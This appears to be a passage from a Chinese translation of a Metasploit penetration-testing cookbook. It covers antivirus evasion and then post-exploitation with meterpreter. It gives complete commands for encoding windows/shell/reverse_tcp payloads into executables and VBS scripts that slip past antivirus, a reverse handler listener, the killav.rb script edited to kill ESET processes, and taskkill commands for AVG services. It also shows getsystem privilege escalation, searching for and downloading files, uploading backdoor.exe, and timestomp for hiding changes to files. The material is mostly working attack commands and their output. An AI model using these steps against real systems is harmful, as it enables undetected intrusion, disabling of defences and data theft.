让我们了解命令行。我们使用了windows/shell/reverse_tcp shell，并使用R参数生成了原始文件类型。然后，我们将msfencode命令进行了管道处理。e参数用于确定编码样式，在我们的情况下是cmd/generic_sh。c参数表示迭代次数，t参数表示编码后要创建的文件类型。最后，文件将在.local文件夹中创建，文件名为encoded.exe。当encoded.exe文件用于对我们的两个目标进行客户端攻击时，Windows XP（带有 AVG 10）和 Windows 7（带有 NOD32）都很容易识别它为威胁。它可能为我们提供了 shell 连接，但是这种活动被防病毒软件阻止了。

案例 2：现在我们将通过向 shell 添加默认的 Windows 可执行文件模板以及增加编码的迭代次数来增加这种编码的复杂性。默认模板将帮助我们通过将 shellcode 与默认的 Windows 可执行文件（如calc.exe或cmd.exe）绑定来创建一个不太可疑的文件。Windows 模板可在文件夹/opt/framework3/msf3/lib/msf/util/../../../data/templates中找到。

您可以通过将任何默认的 Windows 可执行文件复制到此文件夹中，然后将其用作模板来创建模板。在这个配方中，我已经将cmd.exe复制到这个文件夹中，以便将其用作我的 shell 的模板。那么在这种情况下，我们的命令行会是什么样子？

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 R | msfencode -e x86/shikata_ga_nai -c 20 -t exe -x cmd.exe> .local/cmdencoded.exe

这种情况下唯一的额外参数是-x，用于指定替代可执行模板。我们使用了cmd.exe作为模板，这是命令提示符的默认 Windows 可执行文件。此外，我们还将编码样式更改为shikata_ga_nai，在msfencode中排名为“优秀”。在这种情况下，迭代次数也增加到了 20。在这种情况下创建的可执行文件看起来像一个cmd.exe可执行文件（因为模板），并且轻松地绕过了运行 AVG 10 防病毒软件的 Windows XP 目标的客户端防病毒保护。不幸的是，在我们运行最新版本的 NOD32 的 Windows 7 目标上被检测为威胁。因此，它可以用于绕过运行在 Windows 机器上的较旧版本的防病毒软件。这种技术的第二个问题是，即使在具有较旧的防病毒保护的 Windows 7/Server 2008 机器上，它也无法启动 shell。shellcode 在执行时崩溃（因为模板），即使它绕过了防病毒软件，仍然无法在较新版本的 Windows 上启动 shell。

案例 3：这种情况将克服我们在案例 2 中遇到的缺点。在这种情况下，我们将生成一个客户端脚本，而不是可执行文件。Windows 平台上众所周知的客户端脚本是 Visual Basic 脚本（.vbs）。这种技术可以用来绕过任何已知的运行在最新版本的 Windows 上的防病毒软件。VB 脚本成为绕过防病毒软件的潜在武器的原因是，它们从不被防病毒程序视为威胁，这就是为什么它们的签名从不与 VB 脚本文件匹配的原因。让我们使用msfpayload和msfencode创建一个恶意的 VB 脚本。

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 r | msfencode -e x86/shikata_ga_nai -c 20 -t vbs > .local/cmdtest2.vbs
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)
.
.
.
.
[*] x86/shikata_ga_nai succeeded with size 803 (iteration=19)
[*] x86/shikata_ga_nai succeeded with size 830 (iteration=20)

注意命令行中的轻微变化。唯一的变化是将 exe 替换为 VBS，并且我们没有使用任何模板，以防止客户端执行期间的崩溃。这种技术可以帮助我们绕过目标的防病毒保护，并提供 shell 连接。我们可以使用 multi/handler 模块（在前面的配方中讨论过）设置监听器，并等待目标执行脚本后与其建立反向连接。

到目前为止，您可能已经注意到，这个配方纯粹是基于尝试不同的有效载荷和编码器的组合。您尝试不同组合的次数越多，成功的机会就越大。在msfpayload和msfencode中有许多可以探索的东西，因此我鼓励您积极尝试不同的实验，并发现自己绕过防病毒保护的方法。

工作原理...

编码器主要用于将 shellcode 脚本混淆成无法被杀毒软件识别的形式。shikata_ga_nai编码器使用多态异或技术，编码器使用动态生成的 gats 作为编码器。shikata_ga_nai受欢迎的原因是它使用自解码技术。自解密意味着软件在运行时解密自身的一部分。理想情况下，软件只包含一个解密存根和加密代码。迭代通过多次使用相同的操作来使 shellcode 看起来完全陌生，以使杀毒软件难以识别。

还有更多...

让我们找到一个快速的方法来测试有效载荷针对不同的反病毒供应商，并找出它们中有多少检测到我们的编码有效载荷。

使用 VirusTotal 进行快速多重扫描

VirusTotal 是一个在线网站兼实用工具，可以将您的文件与多个杀毒软件供应商进行扫描，以找出有多少个杀毒软件将其检测为威胁。您可以将编码的有效载荷与病毒总和进行扫描，以找出它是否在任何杀毒产品中引发警报。这可以帮助您快速找出您的编码有效载荷是否在实际中有效。

使用 VirusTotal 进行快速多重扫描

VirusTotal 可以从www.virustotal.com浏览。它会要求您上传要针对多个杀毒产品进行扫描的文件。扫描完成后，它将返回测试结果。

使用 killav.rb 脚本来禁用杀毒软件程序

在上一个示例中，我们专注于可以实施的各种技术，以绕过客户端杀毒软件保护并打开一个活动会话。好吧，故事并没有结束。如果我们想要从目标系统下载文件，或者安装键盘记录器等等。这样的活动可能会引起杀毒软件的警报。因此，一旦我们获得了一个活动会话，我们的下一个目标应该是悄悄地关闭杀毒软件保护。这个示例就是关于停用它们的。在目标机器上保持我们的活动不被检测到，杀死杀毒软件是必不可少的。

在这个示例中，我们将在活动会话期间使用一些可用的 meterpreter 脚本。我们有一个专门的章节专门介绍 meterpreter 脚本，所以在这里我只会对 meterpreter 脚本和一些有用的 meterpreter 命令进行快速介绍。我们将在下一章中详细分析 meterpreter。

准备工作

让我们从对 meterpreter 的快速介绍开始。Meterpreter 是一个高级有效载荷，极大地增强了对目标机器上命令执行的能力。它是一个命令解释器，通过内存中的 DLL 注入工作，并为我们提供了许多优势，相对于传统的命令解释器（通常存在于 shell 代码）来说，它更加灵活、稳定和可扩展。它可以像几个有效载荷一起在目标机器上工作。它通过分段套接字进行通信，并提供了全面的客户端端 ruby API。我们可以使用windows/meterpreter目录中可用的有效载荷来获得 meterpreter shell。在这个示例中，我们将使用windows/meterpreter/reverse_tcp有效载荷，我们的目标机器是运行 ESET NOD32 杀毒软件的 Windows 7。

让我们在 msfconsole 中设置监听器，并等待一个反向连接。

msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh..
LHOST 192.168.56.101 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.56.101:4444
[*] Starting the payload handler...

如何做到...

所以我们的监听器现在已经准备好了。一旦客户端攻击成功地在目标上执行，我们将在 msfconsole 中打开一个 meterpreter 会话。

[*] Sending stage (752128 bytes) to 192.168.56.1
[*] Meterpreter session 2 opened (192.168.56.101:4444 -> 192.168.56.1:49188) at 2011-11-29 13:26:55 +0530
meterpreter >

现在，我们已经准备好利用 meterpreter 在我们的杀毒实验中的力量。我们将执行的第一个命令是getuid，它会给我们系统的用户名，我们已经破解了。用户可以是主管理员或者是一个权限较低的用户。

meterpreter > getuid
Server username: DARKLORD-PC\DARKLORD

看起来我们在刚刚渗透的系统中没有管理员特权。下一步将是提升我们的特权到管理员，以便我们可以在目标上执行命令而不受干扰。我们将使用getsystem命令，尝试将我们的特权从本地用户提升到管理员。

meterpreter > getsystem
...got system (via technique 4)..

我们可以看到getsystem成功地使用技术 4，也就是 KiTrap0D 漏洞，提升了我们在渗透系统上的特权。我们可以再次使用getuid命令来检查我们新提升的 ID。

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

现在我们拥有了主管理员权限。下一步将是运行ps命令，列出系统上所有正在运行的进程。我们将需要查看控制目标机器上运行的杀毒软件的那些进程（输出已经被缩短以适应）。

PID Name User Path
--- ---- ---- ----
1060 svchost.exe NT AUTHORITY\SYSTEM C:\Windows\System32\.
1096 svchost.exe NT AUTHORITY\SYSTEM C:\Windows\system32\.
1140 stacsv.exe NT AUTHORITY\SYSTEM C:\Windows\System32\.
1152 dsmonitor.exe DARKLORD-PC\DARKLORD C:\Program Files\Uni.
1744 egui.exe DARKLORD-PC\DARKLORD C:\Program Files\ESET\ESET NOD32 Antivirus\egui.exe
1832 eset.exe NT AUTHORITY\SYSTEM C:\Program Files\ESET\ESET NOD32 Antivirus\eset.exe

从Name和Path列中，我们可以很容易地识别出属于杀毒软件实例的进程。在我们的情况下，有两个进程负责目标系统上的杀毒保护。它们是egui.exe和eset.exe。让我们看看如何使用 Metasploit 来终止这些进程。

工作原理

Meterpreter 提供了一个非常有用的脚本，名为killav.rb，可以用来终止目标系统上运行的杀毒软件进程，从而禁用它。让我们在运行 ESET NOD32 杀毒软件的 Windows 7 目标上尝试这个脚本。

meterpreter > run killav
[*] Killing Antivirus services on the target...

run命令用于在 meterpreter 中执行 Ruby 脚本。一旦脚本执行完毕，我们可以再次检查目标上正在运行的进程，以确保所有杀毒软件进程都已被终止。如果没有杀毒软件进程在运行，那么意味着杀毒软件已经在目标机器上被暂时禁用，我们现在可以继续进行渗透测试过程。

但是如果进程仍在运行怎么办？让我们在下一个步骤中找到解决方案。

深入了解 killav.rb 脚本

继续我们之前的步骤，我们专注于如何使用killav.rb脚本在目标机器上终止运行的杀毒软件进程。但是，如果进程仍在运行，或者即使使用脚本后它们仍未被终止，会怎么样呢？这可能有两个原因。要么killav.rb没有在其终止列表中包括这些进程，要么杀毒软件进程正在作为服务运行。在这个步骤中，我们将尝试克服这些问题。所以让我们快速进入我们的步骤。

准备工作

我们将从上一个步骤结束的地方开始相同的 meterpreter 会话。我们已经使用了killav.rb脚本一次，但是杀毒软件进程仍在运行。我们可以使用ps命令查看正在运行的进程。

PID Name User Path
--- ---- ---- ----
1060 svchost.exe NT AUTHORITY\SYSTEM C:\Windows\System32\.
1096 svchost.exe NT AUTHORITY\SYSTEM C:\Windows\system32\.
1140 stacsv.exe NT AUTHORITY\SYSTEM C:\Windows\System32\.
1152 dsmonitor.exe DARKLORD-PC\DARKLORD C:\Program Files\Uni.
1744 egui.exe DARKLORD-PC\DARKLORD C:\Program Files\ESET\ESET NOD32 Antivirus\egui.exe
1832 eset.ece NT AUTHORITY\SYSTEM C:\Program Files\ESET\ESET NOD32 Antivirus\eset.exe

正如我们所看到的，即使使用了killav.rb脚本，这两个杀毒软件进程仍然存活。让我们先看一下killav.rb脚本。

如何操作

要查看和编辑killav.rb脚本，请打开一个新的终端窗口，浏览到/pentest/exploits/framework3/scripts/meterpreter。

root@bt: cd /pentest/exploits/framework3/scripts/meterpreter
root@bt:/pentest/exploits/framework3/scripts/meterpreter# vim killav.rb

vim是 Unix 中用于快速编辑文件的编辑器。它将在我们的屏幕上打开整个脚本。向下滚动以查找其中列出的各种进程。这些是脚本寻找要终止的进程。检查整个列表，查找eset.exe和egui.exe。如果它们不可用，那么将这两个进程添加到脚本中。要在 vim 中启动编辑模式，请按a键。它将启动插入模式。现在在脚本的进程列表中添加这两个进程。

@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
end
}
print_status("Killing Antivirus services on the target...")
avs = %W{
egui.exe
eset.exe
AAWTray.exe
Ad-Aware.exe
MSASCui.exe
_avp32.exe

以下代码片段显示了列表顶部添加的两个进程。要退出插入模式，请按esc键。现在要保存脚本，请按:键。您将进入 vim 编辑器的迷你命令提示符。现在输入wq以保存并退出编辑器。

:wq

现在回到 meterpreter 会话，再次执行killav.rb脚本，注意发生了什么。

meterpreter > run killav.rb
[*] Killing Antivirus services on the target...
[*] Killing off egui.exe...
[*] Killing off eset.exe...

命令执行的输出显示脚本成功杀死了两个进程。现在，为了验证所有杀毒软件进程是否已被杀死，我们将再次执行ps命令进行交叉检查（输出缩短以适应）。

meterpretr> ps
PID Name User Path
--- ---- ---- ----
1060 svchost.exe NT AUTHORITY\SYSTEM C:\Windows\System32\.
1096 svchost.exe NT AUTHORITY\SYSTEM C:\Windows\system32\.
1140 stacsv.exe NT AUTHORITY\SYSTEM C:\Windows\System32\.
1152 dsmonitor.exe DARKLORD-PC\DARKLORD C:\Program Files\Uni.

您会发现 ESET 杀毒软件没有活动进程。这表明脚本成功杀死了杀毒软件程序。这个例子清楚地展示了我们如何通过添加自己的输入来增加内置脚本的效率。

它是如何工作的...

让我们快速看一下我们在本篇文章中积极使用的killav.rb脚本。脚本包含一个数组（%W）中的整个进程列表，它在目标机器上查找并杀死。

client.sys.process.get_processes().each do |x|
if (avs.index(x['name'].downcase))
print_status("Killing off #{x['name']}...")
client.sys.process.kill(x['pid'])
end
end

代码的最后几行是不言自明的。脚本在目标系统上查找正在运行的进程与其数组进行匹配。当找到匹配时，它使用process.kill函数来终止进程。这个循环会一直持续，直到数组的所有元素与可用进程匹配。

从命令行杀死杀毒软件服务

在上一篇文章中，我们给出了杀毒软件进程在使用killav.rb脚本后仍然运行的两个原因。在上一篇文章中，我们解决了第一个问题，即killav.rb列表不包括要被杀死的进程。在本篇文章中，我们将解决第二个问题，即杀毒软件程序在目标机器上作为服务运行。在我们继续之前，让我们先了解一下进程和服务之间的区别。

进程是计算机上正在运行的任何软件。一些进程在计算机启动时启动，其他的在需要时手动启动。一些进程是服务，它们发布方法以便其他程序可以根据需要调用它们。进程是基于用户的，而服务是基于系统的。

杀毒软件也可以作为服务运行一些组件，比如电子邮件过滤器、网络访问过滤器等。killav.rb脚本无法杀死服务。所以，即使我们使用killav.rb杀死了进程，杀毒软件服务也会立即重新启动它们。所以即使killav.rb杀死了所有杀毒软件进程，但每次使用ps命令时它们仍然被列出，那么可以得出结论，杀毒软件的某个组件作为服务在负责重复启动进程。

准备好了

我们将从一个场景开始，目标机器是运行 AVG 10 杀毒软件的 Windows 7 机器。我假设我们已经与目标机器建立了一个具有管理员权限的活动 meterpreter 会话。

如何做...

这个配方将使用 Windows 命令提示符。所以我们将从打开一个带有目标的命令提示符 shell 开始。

meterpreter > shell
Process 3324 created.
Channel 1 created.
C:\WINDOWS\system32>

现在，我们将使用tasklist命令来查找各种可用任务。添加/SVC参数将只列出作为服务运行的进程。由于我们知道目标机器正在使用 AVG 杀毒软件，我们可以添加通配符搜索，只列出属于 avg 的服务。因此，我们的命令行将如下所示：

C:\WINDOWS\system32>tasklist /SVC | find /I "avg"
tasklist /SVC | find /I "avg"
avgchsvx.exe 260 N/A
avgrsx.exe 264 N/A
avgcsrvx.exe 616 N/A
AVGIDSAgent.exe 1664 AVGIDSAgent
avgwdsvc.exe 116 avg9wd
avgemc.exe 1728 avg9emc

所以我们有一个完整的列表或服务和进程为 AVG 杀毒软件。下一步将是发出taskkill命令来终止这些任务并禁用杀毒软件保护。

我们可以再次使用通配符搜索来杀死所有进程名称为avg的任务。

C:\WINDOWS\system32>taskkill /F /IM "avg*"

/F参数用于强制终止进程。这将最终杀死目标机器上运行的各种杀毒软件服务。这个配方有很多地方可以探索。您可能会遇到一些问题，但可以通过遵循正确的一系列命令来克服。

它是如何工作的...

从命令行杀死服务只是调用操作系统来禁用特定服务。一旦我们与目标建立了一个活动的 shell 会话，我们可以代表命令行通过我们的 shell 调用这些命令。

还有更多...

让我们用一些最终说明来结束这个配方，讨论一下如果杀毒软件服务仍然存在该怎么办。

有些服务没有被终止，接下来怎么办？

这可能是由于几个原因。当你使用taskkill命令时，可能会出现一些服务的错误。为了克服这个问题，我们可以使用net stop和sc config命令来处理这些服务。我建议你从微软的网站上了解这两个命令的用法。它们可以帮助我们终止或禁用那些无法通过taskkill命令停止的服务。

第五章：使用 Meterpreter 探索受损目标

在本章中，我们将涵盖以下内容：

分析 meterpreter 系统命令
特权升级和进程迁移
设置与目标的多个通信通道
Meterpreter 文件系统命令
使用 timestomp 更改文件属性
使用 meterpreter 网络命令
获取桌面和键盘记录
使用 scraper meterpreter 脚本

介绍

到目前为止，我们已经更加强调了前利用阶段，在这个阶段中，我们尝试了各种技术和利用来妥协我们的目标。在本章中，我们将更加强调后利用阶段——在我们利用目标机器之后我们可以做什么。Metasploit 提供了一个非常强大的后利用工具，名为 meterpreter，它为我们提供了许多功能，可以简化我们探索目标机器的任务。在前一章的绕过防病毒中，我们已经看到了 meterpreter 和后利用的使用。在本章中，我们将详细了解 meterpreter 以及如何将其用作后利用阶段的潜在工具。

我们一直在使用有效载荷来实现特定的结果，但它们有一个主要的缺点。有效载荷通过在受损系统中创建新进程来工作。这可能会触发防病毒程序的警报，并且很容易被捕获。此外，有效载荷仅限于执行 shell 可以运行的特定任务或执行特定命令。为了克服这些困难，meterpreter 应运而生。

Meterpreter是 Metasploit 的命令解释器，充当有效载荷，并通过使用内存 DLL 注入和本机共享对象格式来工作。它与被利用的进程上下文中工作，因此不会创建任何新进程。这使得它更加隐秘和强大。

让我们看一下 meterpreter 的功能。以下图表显示了加载 meterpreter 的简单逐步表示：

在第一步中，利用和第一阶段的有效载荷被发送到目标机器。在利用之后，分段器将自身绑定到具有特定任务的目标，并尝试连接到攻击的msfconsole，并建立适当的通信通道。现在，分段器加载 DLL。msfconsole并发送第二阶段 DLL 注入有效载荷。成功注入后，MSF 发送 meterpreter DLL 以建立适当的通信通道。最后，meterpreter 加载扩展，如stdapi和priv。所有这些扩展都是使用 TLS/1.0 和 TLV 协议加载的。Meterpreter 使用加密通信与目标用户，这是使用它的另一个主要优势。让我们快速总结 meterpreter 相对于特定有效载荷的优势：

它与被利用的进程上下文中工作，因此不会创建新进程
它可以在进程之间轻松迁移
它完全驻留在内存中，因此不会在磁盘上写入任何内容
它使用加密通信
它使用通道化的通信系统，因此我们可以同时使用多个通道
它提供了一个快速而轻松地编写扩展的平台

本章完全致力于使用 meterpreter 提供的各种命令和脚本来探索目标机器。我们将从分析常见的 meterpreter 命令开始。然后，我们将继续设置不同的通信通道，使用网络命令，键盘记录等。最后，我们将讨论 scraper meterpreter 脚本，它可以创建一个包含有关目标用户的各种信息的单个目录。在本章中，我们将主要关注那些可以帮助探索受损系统的命令和脚本。

所以让我们继续深入研究 meterpreter 的方法。

分析 meterpreter 系统命令

让我们开始使用 meterpreter 命令来了解它们的功能。由于它是一个后期利用工具，我们将需要一个受损的目标来执行命令。我们将使用一个已经利用了浏览器漏洞的 Windows 7 机器作为目标。您可以参考第四章中的Internet Explorer CSS 递归调用内存损坏配方，了解更多详情。

准备就绪

在入侵 Windows 7 目标机器后，我们将启动一个 meterpreter 会话，因为我们使用了windows/meterpreter/bind_tcp有效载荷。我们将首先使用一个简单的?命令，它将列出所有可用的 meterpreter 命令，以及简短的描述：

meterpreter > ?

快速浏览整个列表。许多命令都是不言自明的。

如何做...

让我们从一些有用的系统命令开始。

background：此命令用于将当前会话设置为后台，以便在需要时再次使用。当有多个活动的 meterpreter 会话时，此命令很有用。
getuid：此命令返回正在运行的用户名，或者我们已经进入的目标机器上的用户名。

meterpreter > getuid
Server username: DARKLORD-PC\DARKLORD

getpid：此命令返回我们当前运行 meterpreter 的进程 ID。

meterpreter > getpid
Current pid: 4124

ps：此命令将列出目标机器上所有正在运行的进程。此命令有助于识别目标上运行的各种服务和软件。

meterpreter > ps
PID Name Arch Session User
--- ---- ------- ----
0 [System Process]
1072 svchost.exe
1172 rundll32.exe x86 1 DARKLORD-PC\DARKLORD

sysinfo：这是一个方便的命令，可以快速验证系统信息，如操作系统和架构。

meterpreter > sysinfo
Computer : DARKLORD-PC
OS : Windows 7 (Build 7264).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32

shell：此命令将我们带入一个 shell 提示符。我们已经在一些先前的配方中看到了这个 meterpreter 命令的用法。

meterpreter > shell
Process 4208 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7264]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

退出：此命令用于终止 meterpreter 会话。此命令也可用于终止 shell 会话并返回到 meterpreter。

这些是一些有用的系统命令，可用于探索受损目标以获取更多信息。还有许多其他命令，我留给您去尝试和探索。您可能已经注意到，使用 meterpreter 命令并探索目标是多么容易，而如果没有它，这将是一项困难的任务。在我们的下一个配方中，我们将专注于一些高级的 meterpreter 命令。

工作原理...

Meterpreter 的工作方式类似于任何命令解释器。它旨在通过命令理解和响应各种参数调用。它驻留在被利用/受损的进程的上下文中，并与渗透测试人员的机器创建客户端/服务器通信系统。

工作原理...

前面的图表简要展示了 meterpreter 的功能。一旦建立通信通道，我们就可以向 meterpreter 服务器发送命令调用，以便将其响应发送回我们的机器。随着本章的深入，我们将更详细地了解渗透测试机器与受损目标之间的通信。

特权升级和进程迁移

在这个配方中，我们将专注于 meterpreter 的两个非常有用的命令。第一个是特权升级。此命令用于提升目标系统上的权限/权限。我们可能以较低权限的用户身份进入系统。因此，我们可以提升我们的特权以成为系统管理员，以便在执行任务时不受干扰。第二个命令是进程迁移。此命令用于在不在磁盘上写入任何内容的情况下从一个进程迁移到另一个进程。

如何做...

为了提升我们的特权，meterpreter 为我们提供了getsystem命令。此命令会自动开始寻找各种可能的技术，通过这些技术，用户的权限可以提升到更高级别。让我们分析getsystem命令使用的不同技术：

meterpreter > getsystem -h
Usage: getsystem [options]
Attempt to elevate your privilege to that of local system.
OPTIONS:
-t <opt> The technique to use. (Default to '0').
0 : All techniques available
1 : Service - Named Pipe Impersonation (In Memory/Admin)
2 : Service - Named Pipe Impersonation (Dropper/Admin)
3 : Service - Token Duplication (In Memory/Admin)
4 : Exploit - KiTrap0D (In Memory/User)

工作原理...

getsystem命令尝试在目标上提升特权的三种不同技术。默认值0尝试所有列出的技术，除非成功尝试。让我们快速看一下这些提升技术。

命名管道是一种机制，使应用程序能够在本地或远程进行进程间通信。创建管道的应用程序称为管道服务器，连接到管道的应用程序称为管道客户端。模拟是线程能够在与拥有该线程的进程不同的安全上下文中执行的能力。模拟使服务器线程能够代表客户端执行操作，但在客户端的安全上下文的限制内。当客户端拥有的权限超过服务器时，就会出现问题。这种情况将创建一个称为命名管道模拟提升攻击的特权提升攻击。

注意

有关命名管道模拟的详细文章可以在hackingalert.blogspot.com/2011/12/namedpipe-impersonation-attacks.html找到。

操作系统的每个用户都有一个唯一的令牌 ID。该 ID 用于检查系统中各个用户的权限级别。令牌复制是通过低特权用户复制高特权用户的令牌 ID 来实现的。然后，低特权用户会以与高特权用户类似的方式行事，并且具有与高特权用户相同的所有权利和权限。

KiTrapOD 漏洞于 2010 年初发布，影响了微软此前制作的几乎所有操作系统。在 32 位 x86 平台上启用对 16 位应用程序的访问时，它没有正确验证某些 BIOS 调用。这允许本地用户通过构造线程环境块（TEB）中的VDM_TIB数据结构，来利用#GP陷阱处理程序（nt!KiTrap0D），也就是“Windows 内核异常处理程序漏洞”，来获取特权。

现在我们已经了解了getsystem命令使用的各种提升技术，我们的下一步将是在目标上执行该命令，看看会发生什么。首先，我们将使用getuid命令来检查我们当前的用户 ID，然后我们将尝试使用getsystem命令来提升我们的特权：

meterpreter > getuid
Server username: DARKLORD-PC\DARKLORD
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

正如您所看到的，以前我们是一个特权较低的用户，使用getsystem命令后，我们将特权提升为系统用户。

我们将讨论的下一个重要的 meterpreter 命令是migrate命令。该命令用于从一个进程上下文迁移到另一个进程上下文。在当前进程可能崩溃的情况下，该命令非常有用。例如，如果我们使用浏览器漏洞渗透系统，那么在利用后浏览器可能会挂起，用户可能会关闭它。因此，迁移到稳定的系统进程可以帮助我们顺利进行渗透测试。我们可以使用进程 ID 迁移到任何其他活动进程。ps命令可用于标识所有活动进程的 ID。例如，如果explorer.exe的 ID 是2084，那么我们可以通过执行以下命令迁移到explorer.exe：

meterpreter > migrate 2084
[*] Migrating to 2084...
[*] Migration completed successfully.

这两个 meterpreter 命令非常方便，并且在渗透测试期间经常使用。它们的简单性和高生产力使它们非常适合使用。在我们的下一个示例中，我们将处理通信渠道以及如何有效地使用它们与目标进行通信。

与目标建立多个通信渠道

在这个教程中，我们将看看如何为与目标通信建立多个频道。我们在本章的介绍中讨论了 meterpreter 中客户端和服务器之间的通信是加密的，并且它使用类型-长度-值（TLV）协议进行数据传输。使用 TLV 的主要优势在于它允许将数据与特定的频道号标记，从而允许受害者上运行的多个程序与攻击机上的 meterpreter 进行通信。这有助于同时建立多个通信频道。

让我们现在分析如何使用 meterpreter 与目标机器建立多个通信频道。

准备工作

Meterpreter 提供了一个名为execute的特定命令，可以用于启动多个通信频道。首先，让我们运行execute -h命令，查看可用选项：

meterpreter > execute -h
Usage: execute -f file [options]
Executes a command on the remote machine.
OPTIONS:
-H Create the process hidden from view.
-a <opt> The arguments to pass to the command.
-c Channelized I/O (required for interaction).
-d <opt> The 'dummy' executable to launch when using -m.
-f <opt> The executable command to run.
-h Help menu.
-i Interact with the process after creating it.
-k Execute process on the meterpreters current desktop
-m Execute from memory.
-s <opt> Execute process in a given session as the session user
-t Execute process with currently impersonated thread token

您可以看到execute命令提供给我们的各种参数。让我们使用其中一些参数来设置多个频道。

如何做...

要开始创建频道，我们将使用execute命令的-f运算符：

meterpreter > execute -f notepad.exe -c
Process 5708 created.
Channel 1 created.

注意不同参数的使用。-f参数用于设置可执行命令，-c运算符用于设置通道化 I/O。现在我们可以再次运行 execute 命令，启动另一个频道，而不终止当前频道：

meterpreter > execute -f cmd.exe -c
Process 4472 created.
Channel 2 created.
meterpreter > execute -f calc.exe -c
Process 6000 created.
Channel 3 created.

现在我们在受害者机器上同时运行了三个不同的频道。要列出可用的频道，我们可以使用channel -l命令。如果我们想要发送一些数据或在频道上写入一些内容，我们可以使用write命令，后面跟着我们想要写入的频道 ID。让我们继续在我们的一个活动频道中写入一条消息：

meterpreter > write 5
Enter data followed by a '.' on an empty line:
Metasploit!!
.
[*] Wrote 13 bytes to channel 5.

执行write命令以及频道 ID，提示我们输入数据，然后输入一个句号。我们成功地在频道上写入了Metasploit!!。为了读取任何频道的数据，我们可以使用read命令，后面跟着频道 ID。

此外，如果我们想要与任何频道交互，我们可以使用interact命令，后面跟着频道 ID：

meterpreter > interact 2
Interacting with channel 2...
Microsoft Windows [Version 6.1.7264]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\DARKLORD\Desktop>

您可以看到我们的频道 2 是一个命令提示符频道，因此通过使用interact命令，我们直接进入了命令提示符模式，从那里我们可以执行系统命令。我们可以通过使用interact命令轻松地在频道之间切换。为了结束一个频道，我们可以使用close命令，后面跟着频道 ID。

这个教程演示了使用多个频道的强大功能。它还展示了同时管理它们和在不同频道之间切换有多么容易。当我们在目标机器上运行多个服务时，使用频道变得很重要。

在下一个教程中，我们将专注于使用 meterpreter 探索目标机器的文件系统。

它是如何工作的...

Metasploit 使用单独的频道 ID 为每条消息打上标签，这有助于识别应在其中执行特定命令的频道上下文。正如前面所述，meterpreter 中的通信过程遵循 TLV 协议，这使得可以使用特定的频道 ID 为不同的消息打上标签，以提供多频道通信支持的灵活性。

Meterpreter 文件系统命令

在这个教程中，我们将继续使用文件系统命令。这些命令可以帮助我们探索目标系统，执行各种任务，比如搜索文件、下载文件和更改目录。您会注意到使用 meterpreter 轻松控制目标机器有多么容易。让我们开始使用一些有用的文件系统命令。

如何做...

我们将从简单的pwd命令开始，该命令列出了我们在目标机器上的当前工作目录。同样，我们可以使用cd命令将我们的工作目录更改为我们喜欢的位置：

meterpreter > pwd
C:\Users\DARKLORD\Desktop
meterpreter > cd c:\
meterpreter > pwd
c:\

正如您所看到的，我们首先使用pwd命令列出了我们的工作目录，然后使用cd命令将我们的工作目录更改为“c：”。我们还可以使用ls命令列出当前目录中可用的文件。

既然我们可以使用目录，我们的下一个任务将是在驱动器上搜索文件。浏览每个目录和子目录以寻找文件将非常乏味。我们可以使用search命令快速搜索特定文件类型。考虑以下示例：

meterpreter > search -f *.doc -d c:\

该命令将搜索C驱动器中具有.doc作为文件扩展名的所有文件。使用f参数指定要搜索的文件模式，d参数告诉要搜索哪个文件的目录。

所以一旦我们搜索到我们特定的文件，我们可以做的下一件事是将文件下载到目标机器上。让我们首先尝试将文件下载到我们的攻击系统：

meterpreter > download d:\secret.doc /root
[*] downloading: d:secret.doc -> /root/d:secret.doc
[*] downloaded : d:secret.doc -> /root/d:secret.doc

通过使用download命令，我们可以成功地从目标机器下载任何文件到我们的机器。 “d：\secret.doc”文件在我们的攻击机器的root文件夹中下载。

同样，我们可以使用upload命令将任何文件发送到目标机器：

meterpreter > upload /root/backdoor.exe d:\
[*] uploading : /root/backdoor.exe -> d:\
[*] uploaded : /root/backdoor.exe -> d:\\backdoor.exe

最后，我们可以使用del命令从目标机器中删除文件或目录。

meterpreter > del d:\backdoor.exe

它是如何工作的...

Meterpreter 通过设置交互式命令提示符为我们提供对目标机器的完全访问。我们还可以放置一个 shell 会话以在默认的 Windows DOS 模式下工作，但它不会有太多功能。这是对 meterpreter 的一些重要文件系统命令的快速参考，可以帮助我们探索目标机器上的文件。还有更多的命令；建议您应该尝试它们，并找出可能存在的各种可能性。

在下一个步骤中，我们将看到一个非常有趣的 meterpreter 命令，称为timestomp，它可以用于修改目标机器上的文件属性。

使用 timestomp 更改文件属性

在上一个步骤中，我们了解了一些重要且有用的 meterpreter 文件系统命令，可用于在目标机器上执行各种任务。 Meterpreter 还包含另一个有趣的命令，称为timestomp。此命令用于更改文件的修改-访问-创建-输入（MACE）属性。属性值是文件发生任何 MACE 活动的日期和时间。使用timestomp命令，我们可以更改这些值。

准备就绪

在开始配方之前，可能会有一个问题在你的脑海中出现。为什么要更改 MACE 值？黑客通常使用更改 MACE 值的技术，以使目标用户感到文件已经存在系统很长时间，并且没有被触摸或修改。在可疑活动的情况下，管理员可能会检查最近修改的文件，以查找是否已修改或访问任何文件。因此，使用此技术，文件将不会出现在最近访问或修改项目的列表中。即使还有其他技术可以找出文件属性是否已被修改，这种技术仍然很有用。

让我们从目标机器中挑选一个文件并更改其 MACE 属性。以下屏幕截图显示了在使用“timestomp”之前文件的各种 MACE 值：

